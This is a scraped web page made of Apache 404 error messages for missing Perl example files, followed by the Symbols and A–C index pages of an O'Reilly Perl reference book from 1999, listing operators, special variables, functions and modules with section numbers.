Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Text_ParseWords/Text_ParseWords.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Text_Soundex/Text_Soundex.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Text_Tabs/Text_Tabs.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Text_Wrap/Text_Wrap.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Tie_Hash/Tie_Hash.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Tie_Scalar/Tie_Scalar.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Tie_SubstrHash/Tie_SubstrHash.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/Time_Local/Time_Local.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch7/vars/vars.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch8/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch8/poetry/poetry.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/examples/ch9/MISC/MISC.html was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

-0 switch, perl : 6.1.2. Switches
& (ampersand) : 2.5.10. Named Unary and File Test Operators
&& (AND) operator : 2.5.14. C-style Logical (Short Circuit) Operators
&&= (assignment) operator : 2.5.17. Assignment Operators
&= (assignment) operator : 2.5.17. Assignment Operators
address-of operator (in C) : 2.5.21. C Operators Missing from Perl
bitwise AND operator : 2.5.13. Bitwise Operators
in filenames : 3.2.102. open
prototype character : 2.7.3. Prototypes
for subroutine names
2.3.1. Variables
2.7. Subroutines
* (asterisk) : 2.5.10. Named Unary and File Test Operators
** (exponentiation) operator : 2.5.4. Exponentiation
**= (assignment) operator : 2.5.17. Assignment Operators
*= (assignment) operator : 2.5.17. Assignment Operators
dereference operator (in C) : 2.5.21. C Operators Missing from Perl
for typeglob names : 2.7.1. Passing Symbol Table Entries (Typeglobs)
multiplicative operator : 2.5.7. Multiplicative Operators
prototype character : 2.7.3. Prototypes
quantifier
1.7.1. Quantifiers
2.4.1.2. The rules of regular expression matching
for typeglob names : 2.3.6. Typeglobs and Filehandles
@ (at sign) : 8.2.7. Previous Perl Traps
@_ array
2.7. Subroutines
7.2.13. English - Use English or awk Names for Punctuation Variables
8.1.7. Debugger Bugs
for array names : 2.3.1. Variables
in debugger : 8.1.2. Using the Debugger
in picture lines : 2.8. Formats
prototype character : 2.7.3. Prototypes
\ (backslash)
to escape metacharacters : 2.4.1.1. The regular expression bestiary
for multiline commands : 8.1.2. Using the Debugger
quotemeta function for : 3.2.114. quotemeta
reference operator
2.5.5. Ideographic Unary Operators
4.2.1. The Backslash Operator
` (backtick) : 6.2.2.1. Anonymous pipes
emulating : 6.3.1.2. Cleaning up your path
operator
2.3.7.1. Command input (backtick) operator
8.2.6. Shell Traps
8.4. Programming with Style
! (bang)
!! debugger command : 8.1.1. Debugger Commands
!= (not equal to) operator
2.5.12. Equality Operators
8.2.1. Universal Blunders
!~ (binding) operator : 2.5.6. Binding Operators
for argument specifiers : 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
debugger command : 8.1.1. Debugger Commands
in import list : 7.2.15.1. Specialized import lists
logical negation operator : 2.5.5. Ideographic Unary Operators
{} (braces)
4.5. Braces, Brackets, and Quoting
8.2.1. Universal Blunders
8.4. Programming with Style
in awk : 8.2.3. Awk Traps
for statement blocks : 2.6.2. Compound Statements
hash composer : 4.2.3. The Anonymous Hash Composer
identifiers in : 2.3.2.2. String literals
quantifier
1.7.1. Quantifiers
2.4.1.2. The rules of regular expression matching
[] (brackets)
array composer : 4.2.2. The Anonymous Array Composer
to match characters : 2.4.1.2. The rules of regular expression matching
^ (caret)
^= (assignment) operator : 2.5.17. Assignment Operators
assertion : 1.7.1. Quantifiers
bitwise XOR operator
2.5.13. Bitwise Operators
8.2.3. Awk Traps
line boundary
1.7.3. Nailing Things Down
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
matching : 2.4.1.2. The rules of regular expression matching
in picture lines : 2.8. Formats
: (colon)
:: for package identifiers
5.1. Packages
8.2.7. Previous Perl Traps
in import list : 7.2.15.1. Specialized import lists
, (comma) : 8.2.1. Universal Blunders
delimiting list values : 2.3.4. List Values and Arrays
key/value pairs and : 2.3.5. Hashes (Associative Arrays)
large numbers and : 2.3.2.1. Numeric literals
operator
(see also = (equal sign), => operator)
2.5.18. Comma Operators
8.2.3. Awk Traps
$ (dollar sign)
$# prefix : 2.3.4. List Values and Arrays
for backreferences : (see backreferences)
in debugger : 8.1.2. Using the Debugger
line boundary
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
prototype character : 2.7.3. Prototypes
for scalar variable names : 2.3.1. Variables
word boundary : 1.7.3. Nailing Things Down
$ variables
$^ ($FORMAT_TOP_NAME) : 8.2.1. Universal Blunders
$0 ($PROGRAM_NAME)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$1, $2, $3... : (see backreferences)
$& ($MATCH)
2.4.1.3. The fine print
2.9.1. Regular Expression Special Variables
6.4.2.2. a2p
7.2.13. English - Use English or awk Names for Punctuation Variables
8.3.1. Time Efficiency
$' ($POSTMATCH)
2.4.1.3. The fine print
2.9.1. Regular Expression Special Variables
6.4.2.2. a2p
7.2.13. English - Use English or awk Names for Punctuation Variables
8.3.1. Time Efficiency
$* ($MULTILINE_MATCHING) : 2.9.1. Regular Expression Special Variables
$@ ($EVAL_ERROR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$\ ($OUPUT_RECORD_SEPARATOR) : 6.1.2. Switches
$\ ($OUTPUT_RECORD_SEPARATOR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$` ($PREMATCH)
2.4.1.3. The fine print
2.9.1. Regular Expression Special Variables
6.4.2.2. a2p
7.2.13. English - Use English or awk Names for Punctuation Variables
8.3.1. Time Efficiency
$! ($OS_ERROR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$[ : 2.9.3. Global Special Variables
$] ($PERL_VERSION)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^ ($FORMAT_TOP_NAME)
2.8.1. Format Variables
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^A ($ACCUMULATOR)
2.8.3. Accessing Formatting Internals
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
formline function : 3.2.42. formline
$^D ($DEBUGGING)
2.9.3. Global Special Variables
6.1.2. Switches
7.2.13. English - Use English or awk Names for Punctuation Variables
$^F ($SYSTEM_FD_MAX)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^H : 2.9.3. Global Special Variables
$^I ($INPLACE_EDIT)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^L ($FORMAT_FORMFEED) : 2.9.3. Global Special Variables
$^L ($FORMAT_LINEFEED)
2.8.1. Format Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^O ($OSNAME)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^P ($PERLDB)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^ ($BASETIME) : 2.9.3. Global Special Variables
$^T ($BASETIME)
2.5.10. Named Unary and File Test Operators
7.2.13. English - Use English or awk Names for Punctuation Variables
$^W ($WARNING)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$^X ($EXECUTABLE_NAME)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$: ($FORMAT_LINE_BREAK _CHARACTERS)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$, ($LIST_SEPARATOR) : 2.9.3. Global Special Variables
$, ($OUTPUT_FIELD_SEPARATOR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$$ ($PROCESS_ID)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$. ($INPUT_LINE_NUMBER)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
resetting with close function : 3.2.18. close
$= ($FORMAT_LINES_PER_PAGE)
2.8.1. Format Variables
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$- ($FORMAT_LINES_LEFT)
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$< ($REAL_USER_ID)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$( ($REAL_GROUP_ID)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$) ($EFFECTIVE_GROUP_ID)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$% ($FORMAT_PAGE_NUMBER)
2.8.1. Format Variables
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$+ ($LAST_PAREN_MATCH)
2.4.1.3. The fine print
2.9.1. Regular Expression Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$? ($CHILD_ERROR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
backtick operator and : 2.3.7.1. Command input (backtick) operator
close function and : 3.2.18. close
$" ($LIST_SEPARATOR) : 7.2.13. English - Use English or awk Names for Punctuation Variables
$> ($EFFECTIVE_USER_ID)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$; ($SUBSCRIPT_SEPARATOR)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$# ($OFMT) : 2.9.3. Global Special Variables
$/ ($INPUT_RECORD_SEPARATOR)
2.9.3. Global Special Variables
6.1.2. Switches
7.2.13. English - Use English or awk Names for Punctuation Variables
$~ ($FORMAT_NAME)
2.8.1. Format Variables
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
$_ ($ARG)
2.9.3. Global Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
angle operator and : 2.3.7.2. Line input (angle) operator
forearch statement and : 2.6.4.3. Foreach loops
glob function with : 2.3.7.3. Filename globbing operator
grep function and : 3.2.72. grep
map function and : 3.2.91. map
$_ ($ARG) : 2.4.1.3. The fine print
$| ($OUTPUT_AUTOFLUSH)
2.8.1. Format Variables
2.9.2. Per-Filehandle Special Variables
7.2.13. English - Use English or awk Names for Punctuation Variables
. (dot) : 2.5.10. Named Unary and File Test Operators
.. (range) operator : 2.5.15. Range Operator
.= (assignment) operator : 2.5.17. Assignment Operators
character wildcard
1.7. Regular Expressions
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
concatenation operator
1.5.2. String Operators
2.5.8. Additive Operators
8.3.1. Time Efficiency
debugger command : 8.1.1. Debugger Commands
" (double quotes)
2.3.2.2. String literals
2.4.1.1. The regular expression bestiary
in formline arguments : 3.2.42. formline
= (equal sign)
== (equal to) operator
2.5.12. Equality Operators
8.2.1. Universal Blunders
=> (corresponds to) operator : 2.5.18. Comma Operators
with key/value pairs : 2.3.5. Hashes (Associative Arrays)
with named parameters : 2.3.5. Hashes (Associative Arrays)
=~ (binding) operator : 2.5.6. Binding Operators
assignment operator
1.5.3. Assignment Operators
2.5.17. Assignment Operators
copy constructor : 7.2.48.6. Copy constructor
debugger command : 8.1.1. Debugger Commands
- (hyphen)
2.4.1.2. The rules of regular expression matching
2.5.10. Named Unary and File Test Operators
-*- for Emacs : 6.1.1. Command Processing
-= (assignment) operator : 2.5.17. Assignment Operators
-- (autodecrement) operator
1.5.4. Autoincrement and Autodecrement Operators
2.5.3. Autoincrement and Autodecrement
7.2.48.3. Overloadable operations
-- swtich, Perl : 6.1.2. Switches
-> (arrow) operator
2.5.2. The Arrow Operator
4.3.3. Using the Arrow Operator
5.3.6. Method Invocation
5.5.1. Object-Oriented Scaling Tips
-| piping pseudo-command : 6.2.2.2. Talking to yourself
arithmetic negation operator : 2.5.5. Ideographic Unary Operators
debugger command : 8.1.1. Debugger Commands
subtractive operator : 2.5.8. Additive Operators
< (left angle bracket)
<= (less than or equal) operator : 2.5.11. Relational Operators
<=> (comparison) operator
2.5.12. Equality Operators
3.2.153. sort
<< (left-shift) operator : 2.5.9. Shift Operators
<< for here documents : 2.3.2.6. "Here" documents
<<= (assignment) operator : 2.5.17. Assignment Operators
<> construct : (see angle operator)
<> option specifier : 7.2.35.3. Non-option callback routine
<FH> operator : 8.2.2. Frequently Ignored Advice
debugger command : 8.1.1. Debugger Commands
for filename globbing operator : 2.3.7.3. Filename globbing operator
in filenames : 3.2.102. open
for left justification : 2.8.1. Format Variables
less than operator : 2.5.11. Relational Operators
for line input operator : 2.3.7.2. Line input (angle) operator
() (parentheses)
2.4.1.1. The regular expression bestiary
2.5. Operators
2.5.1. Terms and List Operators (Leftward)
8.4. Programming with Style
(?!) assertion : 2.4.1.4. Regular expression extensions
(?!...) assertion : 2.4.1.2. The rules of regular expression matching
(?:) for grouping : 2.4.1.4. Regular expression extensions
(?...) assertion : 2.4.1.2. The rules of regular expression matching
(?=) assertion : 2.4.1.4. Regular expression extensions
(?i) modifier : 2.4.1.4. Regular expression extensions
(?#) for comments : 2.4.1.4. Regular expression extensions
for backreferences : 1.7.4. Backreferences
in functions : 3. Functions
grouping operator : 2.4.1.2. The rules of regular expression matching
for list values : 2.3.4. List Values and Arrays
% (percent sign) : 2.5.10. Named Unary and File Test Operators
%= (assignment) operator : 2.5.17. Assignment Operators
for checksums : 3.2.182. unpack
for hash names : 2.3.1. Variables
modulus operator : 2.5.7. Multiplicative Operators
prototype character : 2.7.3. Prototypes
+ (plus) : 2.5.10. Named Unary and File Test Operators
+= (assignment) operator : 2.5.17. Assignment Operators
++ (autoincrement) operator
1.5.4. Autoincrement and Autodecrement Operators
2.5.3. Autoincrement and Autodecrement
7.2.48.3. Overloadable operations
additive operator : 2.5.8. Additive Operators
in filenames : 3.2.102. open
quantifier
1.7. Regular Expressions
2.4.1.2. The rules of regular expression matching
unary operator : 2.5.5. Ideographic Unary Operators
? (question mark) : 2.5.10. Named Unary and File Test Operators
?: (conditional) operator : 2.5.16. Conditional Operator
?? operator : (see m?? (match) operator)
debugger command : 8.1.1. Debugger Commands
quantifier
1.7.1. Quantifiers
2.4.1.2. The rules of regular expression matching
' (single quotes) : 2.3.2.2. String literals
" (double quotes)
2.3.2.2. String literals
2.4.1.1. The regular expression bestiary
> (right angle bracket)
>= (greater than or equal) operator : 2.5.11. Relational Operators
>> (right-shift) operator : 2.5.9. Shift Operators
>>= (assignment) operator : 2.5.17. Assignment Operators
debugger command : 8.1.1. Debugger Commands
for filename globbing operator : 2.3.7.3. Filename globbing operator
in filenames : 3.2.102. open
greater than operator : 2.5.11. Relational Operators
for line input operator : 2.3.7.2. Line input (angle) operator
for right justification : 2.8.1. Format Variables
; (semicolon)
2.6.1. Simple Statements
8.2.1. Universal Blunders
# (sharp)
#! (shebang) notation
1.3.1. How to Do It
6.1.1. Command Processing
6.3.1.3. Security bugs
for comments : 2.4. Pattern Matching
in formats : 2.8. Formats
' (single quotes) : 2.3.2.2. String literals
/ (slash) : 2.5.10. Named Unary and File Test Operators
/= (assignment) operator : 2.5.17. Assignment Operators
// operator : (see match (m//) operator)
debugger command : 8.1.1. Debugger Commands
division operator : 2.5.7. Multiplicative Operators
in import list : 7.2.15.1. Specialized import lists
root directory : 3.2.17. chroot
~ (tilde)
bitwise negation operator : 2.5.5. Ideographic Unary Operators
complement operator : 8.2.3. Awk Traps
to supress blank lines : 2.8. Formats
_ (underscore)
2.3.1. Variables
8.2.7. Previous Perl Traps
global filehandle : 2.9.5. Global Special Filehandles
large numbers and : 2.3.2.1. Numeric literals
in variable names : 8.4. Programming with Style
| (vertical bar)
|= (assignment) operator : 2.5.17. Assignment Operators
|- piping pseudo-command : 6.2.2.2. Talking to yourself
|| (debugger command) : 8.1.1. Debugger Commands
|| (OR) operator : 2.5.14. C-style Logical (Short Circuit) Operators
||= (assignment) operator : 2.5.17. Assignment Operators
for alternation : 2.4.1.1. The regular expression bestiary
bitwise OR operator : 2.5.13. Bitwise Operators
for centering : 2.8.1. Format Variables
debugger command : 8.1.1. Debugger Commands
in filenames : 3.2.102. open
for option speficiers : 7.2.35.2. Aliases and abbreviations

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

a command (debugger) : 8.1.1. Debugger Commands
-A file test operator : 2.5.10. Named Unary and File Test Operators
\A (string boundary)
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
-a switch, perl
2.9.4. Global Special Arrays
6.1.2. Switches
a2p program
6.4.2.2. a2p
8.5.1. Translation from Awk and Sed
abbrev() : 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
abbreviations : (see aliases)
abs function : 3.2.3. abs
absolute value : 3.2.3. abs
accept function : 3.2.4. accept
access time, file
3.2.159. stat
3.2.186. utime
$ACCUMULATOR : (see $ variables, $^A variable)
adding additional array elements
3.2.112. push
3.2.183. unshift
additive operators : 2.5.8. Additive Operators
address-of operator (in C) : 2.5.21. C Operators Missing from Perl
addresses
getting from hostnames
3.2.48. gethostbyname
3.2.52. getnetbyname
network, translating to names
3.2.47. gethostbyaddr
3.2.51. getnetbyaddr
packed sockaddr : 3.2.67. getsockname
alarm function : 3.2.5. alarm
aliases
GetOptions() and : 7.2.35.2. Aliases and abbreviations
symbol table entries : 2.3.6. Typeglobs and Filehandles
alternatives, matching
2.4.1.1. The regular expression bestiary
2.4.1.2. The rules of regular expression matching
ampersand : (see & (ampersand))
anchors
1.7.3. Nailing Things Down
2.4.1.2. The rules of regular expression matching
AND (&) operator : 2.5.13. Bitwise Operators
AND (&&) operator : 2.5.14. C-style Logical (Short Circuit) Operators
and operator
2.5.20. Logical and, or, not, and xor
8.4. Programming with Style
angle brackets : (see < (left angle bracket); > (right angle bracket))
angle operator
2.3.7.2. Line input (angle) operator
6.1.2. Switches
anonymous
array composer : 4.2.2. The Anonymous Array Composer
FTP : Using Anonymous FTP
hash composer : 4.2.3. The Anonymous Hash Composer
pipes : 6.2.2.1. Anonymous pipes
scalars : 5.4.1. Tying Scalars
subroutine composer : 4.2.4. The Anonymous Subroutine Composer
subroutines : 2.7. Subroutines
AnyDBM_File module : 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
apostrophe : (see ' (single quotes))
appending elements to arrays : 3.2.112. push
arctangents : 3.2.6. atan2
$ARG : (see $ variables, $_ variable)
@ARGV array
2.3.7.2. Line input (angle) operator
2.9.4. Global Special Arrays
7.2.35. Getopt::Long - Extended Processing of Command-Line Options
ARGV filehandle : 2.9.5. Global Special Filehandles
$ARGV variable : 2.9.3. Global Special Variables
arithmetic operators
1.5.1. Arithmetic Operators
2.5.5. Ideographic Unary Operators
7.2.48.3. Overloadable operations
arrays
1.2.1.2. Pluralities
2.2. Built-in Data Types
@_ array
2.7. Subroutines
7.2.13. English - Use English or awk Names for Punctuation Variables
8.1.7. Debugger Bugs
anonymous, references to : 4.2.2. The Anonymous Array Composer
appending elements to : 3.2.112. push
associative : (see hashes)
in awk : 6.4.2.2. a2p
deleting elements of
3.2.108. pop
3.2.143. shift
3.2.154. splice
first element of : 2.9.3. Global Special Variables
global : 2.9.4. Global Special Arrays
of hashes, code for : 4.7.3. Arrays of Hashes
initializing with x operator : 2.5.7. Multiplicative Operators
last element of : 2.3.4. List Values and Arrays
length of : 2.3.4. List Values and Arrays
lists and : 2.3.4. List Values and Arrays
multidimensional
4.6. A Brief Tutorial: Manipulating Lists of Lists
4.7.1. Arrays of Arrays
names for : 2.3.1. Variables
performance and : 8.3.1. Time Efficiency
pop function and : 3.2.108. pop
prepending elements to : 3.2.183. unshift
replacing/removing elements : 3.2.154. splice
subscript separator : (see $ variables, $; variable)
typing : 5.4.2. Tying Arrays
variables of : 2.3.2.5. Interpolating array values
arrow (->) operator
2.5.2. The Arrow Operator
4.3.3. Using the Arrow Operator
5.3.6. Method Invocation
5.5.1. Object-Oriented Scaling Tips
artificial languages : 1.2. Natural and Artificial Languages
ASCII
converting POD data to : 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
converting to characters : 3.2.16. chr
values for characters : 3.2.104. ord
assertions : 2.4.1.2. The rules of regular expression matching
assigning to lists : 2.3.4. List Values and Arrays
assignment operators
1.5.3. Assignment Operators
2.5.17. Assignment Operators
8.2.7. Previous Perl Traps
associative arrays : (see hashes)
associativity : 2.5. Operators
asterisk : (see * (asterisk))
at sign : (see @ (at sign))
atan function : 3.2.6. atan2
$atime file statistic : 3.2.159. stat
atoms
2.4.1.1. The regular expression bestiary
2.4.1.2. The rules of regular expression matching
autodecrement (--) operator
1.5.4. Autoincrement and Autodecrement Operators
2.5.3. Autoincrement and Autodecrement
7.2.48.3. Overloadable operations
autogeneration : 7.2.48.7. Autogeneration
autoincrement (++) operator
1.5.4. Autoincrement and Autodecrement Operators
2.5.3. Autoincrement and Autodecrement
7.2.48.3. Overloadable operations
AUTOLOAD subroutine
5.1.3. Autoloading
5.3.4. A Class Is Simply a Package
5.3.8. Method Autoloading
AutoLoader module
(see also SelfLoader module)
7.2.2. AutoLoader - Load Functions Only on Demand
7.2.55.1. SelfLoader autoloading
autoloading : 7.2.2. AutoLoader - Load Functions Only on Demand
stubs for : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
automatic
dynamic module loading : 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
line-end processing : 6.1.2. Switches
sorting of hashes : 7.2.8.4. In-memory databases
autosplit mode : 6.1.2. Switches
AutoSplit module : 7.2.3. AutoSplit - Split a Module for Autoloading
awk : 8.2.3. Awk Traps
converting to Perl : 8.5.1. Translation from Awk and Sed
converting to/from Perl : 6.4.2.2. a2p
variable names : 7.2.76. vars - Predeclare Global Variable Names

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

\b assertion
for backspace : 2.4.1.2. The rules of regular expression matching
word boundary assertion
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
b command (debugger) : 8.1.1. Debugger Commands
-B file test operator : 2.5.10. Named Unary and File Test Operators
-b file test operator : 2.5.10. Named Unary and File Test Operators
\B (not word boundary) : 2.4.1.2. The rules of regular expression matching
\b (word boundary) : 1.7.3. Nailing Things Down
backreferences
1.7.4. Backreferences
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
2.9.1. Regular Expression Special Variables
8.2.1. Universal Blunders
backslash : (see \ (backslash))
BACKSPACE character
/b for : 2.4.1.2. The rules of regular expression matching
completion and : 7.2.65. Term::Complete - Word Completion Module
backtick : (see ` (backtick))
backtracking : 2.4.1.2. The rules of regular expression matching
bang : (see ! (bang))
bar : (see |)
bare blocks : 2.6.5. Bare Blocks and Case Structures
barewords
2.3.2.4. Or leave the quotes out entirely
8.2.2. Frequently Ignored Advice
8.2.7. Previous Perl Traps
base classes
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.4. A Class Is Simply a Package
5.5.1. Object-Oriented Scaling Tips
overriding methods of : 5.5.6. Overriding Base Class Methods
tied hashes : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Basename module : 7.2.27. File::Basename - Parse File Specifications
$BASETIME : (see $ variables, $^T variable)
basewords : 7.2.59. strict - Restrict Unsafe Constructs
BEGIN subroutine : 5.1.2. Package Constructors and Destructors: BEGIN and END
Benchmark module : 7.2.4. Benchmark - Check and Compare Running Times of Code
Berkeley DB : 7.2.8. DB_File - Access to Berkeley DB
bidirectional communication : 6.2.2.3. Bidirectional communication
BigFloat mmodule : 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
BigInt module : 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
/bin/sh : (see sh)
binary
arithmetic operators : 1.5.1. Arithmetic Operators
binding (!~) operator : 2.5.6. Binding Operators
binding (=~) operator
2.5.6. Binding Operators
8.2.3. Awk Traps
bit-shift operators : 2.5.9. Shift Operators
comma operator : (see = (equal sign), => operator)
exponentiation (**) operator
2.5.4. Exponentiation
8.2.3. Awk Traps
files : 3.2.102. open
mode : 3.2.8. binmode
operators
(see bitwise, operators)
7.2.48.1. Calling conventions for binary operations
7.2.48.3. Overloadable operations
pack function : 3.2.105. pack
repetition (x) operator
1.5.2. String Operators
2.5.7. Multiplicative Operators
bind function : 3.2.7. bind
binding
DBM file to hash : 3.2.24. dbmopen
operators : 2.5.6. Binding Operators
variables to packages
3.2.171. tie
3.2.184. untie
5.4. Using Tied Variables
binding (!~) operator : 2.5.6. Binding Operators
binding (=~) operator
2.5.6. Binding Operators
8.2.3. Awk Traps
binmode : 3.2.102. open
binmode function : 3.2.8. binmode
bit operators : (see binary, operators)
bit-shift operators : 2.5.9. Shift Operators
bitmasks : 3.2.135. select (ready file descriptors)
bitwise
negation (~) operator : 2.5.5. Ideographic Unary Operators
operators
2.5.13. Bitwise Operators
2.5.20. Logical and, or, not, and xor
8.2.3. Awk Traps
bless function
3.2.9. bless
5.3.3. An Object Is Simply a Referenced Thingy
bless operator
4.2.5. Object Constructors
4.3.5. Other Tricks You Can Do with Hard References
$blksize file statistic : 3.2.159. stat
BLOCK
(see also blocks)
2.6.2. Compound Statements
blocks
(see also statements)
2.6.2. Compound Statements
2.6.4.4. Loop control
4.3.2. Using a BLOCK as a Variable Name
bare : 2.6.5. Bare Blocks and Case Structures
loops : (see loops)
$blocks file statistic : 3.2.159. stat
Boolean
context : 2.3.3.2. Boolean context
definition of truth : 1.6.1. What Is Truth?
operators : 1.5.7. File Test Operators
bootstrap()
7.2.12.1. Internal interface summary
7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
boundary assertions
1.7.3. Nailing Things Down
2.4.1.3. The fine print
braces : (see {} (braces))
brackets : (see [] (brackets))
break command (in C) : 8.2.4. C Traps
break statement : (see last operator)
breakpoints : 8.1.1. Debugger Commands
buffer, POSIX input : 7.2.49.1. Classes
bug reports : Bug Reports
bugs : 9. Diagnostic Messages
filehandles methods : 7.2.33.1. Bugs
patches for : 8.5.3. Patches
in Perl debugger : 8.1.7. Debugger Bugs
built-in
data types : 2.2. Built-in Data Types
functions, overriding : 5.2.2. Overriding Built-in Functions
bytes
bit-shift operators : 2.5.9. Shift Operators
length in : 3.2.84. length
reading
3.2.116. read
3.2.166. sysread

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

\c : (see control characters)
c command (debugger) : 8.1.1. Debugger Commands
-C file test operator : 2.5.10. Named Unary and File Test Operators
-c file test operator : 2.5.10. Named Unary and File Test Operators
C language : 8.2.4. C Traps
embedding in Perl : 6.4.5. Embedding C and C++ in Perl
embedding Perl in : 6.4.4. Embedding Perl in C and C++
library functions : 3. Functions
Miniperl module for : 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
wrapper programs : 6.3.1.3. Security bugs
/c modifier : 2.4.2. Pattern-Matching Operators
C preprocessor : 6.1.2. Switches
-c switch, perl : 6.1.2. Switches
C++ language
6.4.4. Embedding Perl in C and C++
6.4.5. Embedding C and C++ in Perl
C-style logical operators : 2.5.14. C-style Logical (Short Circuit) Operators
cacheout() : 7.2.32. FileCache - Keep More Files Open Than the System Permits
caller function
3.2.10. caller
8.1.6. Debugger Internals
8.2.7. Previous Perl Traps
Cap module : 7.2.64. Term::Cap - Terminal Capabilities Interface
capitalization
2.3.1. Variables
3.2.177. uc
changing : 2.4.2. Pattern-Matching Operators
escape sequences for : 2.3.2.2. String literals
lc function : 3.2.82. lc
lcfirst function : 3.2.82. lc
